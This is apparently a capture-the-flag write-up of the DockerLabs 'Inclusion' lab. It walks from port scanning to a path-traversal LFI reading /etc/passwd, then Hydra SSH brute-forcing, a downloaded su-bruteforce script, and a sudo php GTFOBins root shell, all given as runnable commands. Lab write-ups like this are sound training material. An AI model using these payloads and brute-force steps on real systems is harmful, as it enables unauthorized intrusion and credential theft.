> For the complete documentation index, see [llms.txt](https://itszaiden.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itszaiden.gitbook.io/pentesting/writeups/dockerlabs/medium/inclusion.md). # Inclusion ## 1 - Reconnaissance We begin with a fast **Nmap** scan to identify open ports: `nmap 172.17.0.2 -p- --open -sS -Pn --min-rate 5000 -T5` **Result: ports 22 and 80 are open** ## 2 - Enumeration Now we run a service/version detection scan, targeting only the open ports we found on the previous scan: `nmap 172.17.0.2 -p 22,80 -sS -Pn -sCV`

(Inclusion) Targeted Port Scan

We tried to find exploits or shellcodes for the services running via `searchsploit` but we found nothing. We will start now exploring the website before enumerating directories. We only found the **Apache2 Debian Default page**, so we will start with directory enumeration. With ```bash ffuf -u http://172.17.0.2/FUZZ -w /usr/share/wordlists/dirb/big.txt ``` we found: **/shop -> Accessing this will show an interesting error message:**

(Inclusion) Interesting Error Message

As we can see, it's trying to access the value of the parameter **archivo** but on the URL there is none. Visiting `172.17.0.2/shop/?archivo=/etc/passwd` make the website change, so we start adding `../` at the start of the parameter value until we list something. We end up with: `http://172.17.0.2/shop/?archivo=../../../../etc/passwd` and the **LFI** completed.

(Inclusion) LFI Done

We can see that 2 users have **/bin/bash**, so they're potential users that we could use. After running ``` hydra -l seller -w /usr/share/wordlists/rockyou.txt ssh://172.17.0.2 ``` we found nothing, so we tried: ``` hydra -l manchi -w /usr/share/wordlists/rockyou.txt ssh://172.17.0.2 ``` and we got valid credentials:

(Inclusion) Manchi Credentials

## 3 - Exploitation Once we connect through **SSH** we don't find anything useful inside `manchi`, so having the username of another user with **/bin/bash**, we decide to run a **Su Bruteforcer**. We get out temporarily from the **SSH** connection, and run: ```bash wget https://raw.githubusercontent.com/Maalfer/Sudo_BruteForce/main/Linux-Su-Force.sh scp /usr/share/wordlists/rockyou.txt manchi@172.17.0.2:/home/manchi scp Linux-Su-Force.sh manchi@172.17.0.2:/home/manchi ``` That way, we have the **su bruteforcer**, and the needed wordlist in `/home/manchi`. Running: ``` ./Linux-Su-Force.sh seller rockyou.txt ``` will end up giving us valid credentials:

(Inclusion) Seller Credentials

After that, we ran `sudo -l` and we found a misconfiguration allowing us to run `sudo` on `/usr/bin/php`, letting us use an exploit from **GTFOBins** to escalate privileges. ## 5 - Privilege Escalation As we can run `/usr/bin/php` as **root**, we will use this: ```bash CMD="/bin/sh" sudo php -r "system('$CMD');" ``` That exploit will spawn us a root shell:

(Inclusion) Privilege Escalation

## 6 - Summary **Initial Access:**\ Discovered a Local File Inclusion vulnerability in the `/shop` endpoint, which allowed reading `/etc/passwd`. Brute-forced SSH credentials for user `manchi` using Hydra and the RockYou wordlist. **Exploitation:**\ Used a local brute-force script from `manchi`'s account to crack the password of another user, `seller`. Logged in as `seller` and found `sudo` permissions on `/usr/bin/php`, which enabled privilege escalation. **Privilege Escalation:**\ Abused `sudo` rights on `/usr/bin/php` to execute a shell command and gain root access via a GTFOBins technique.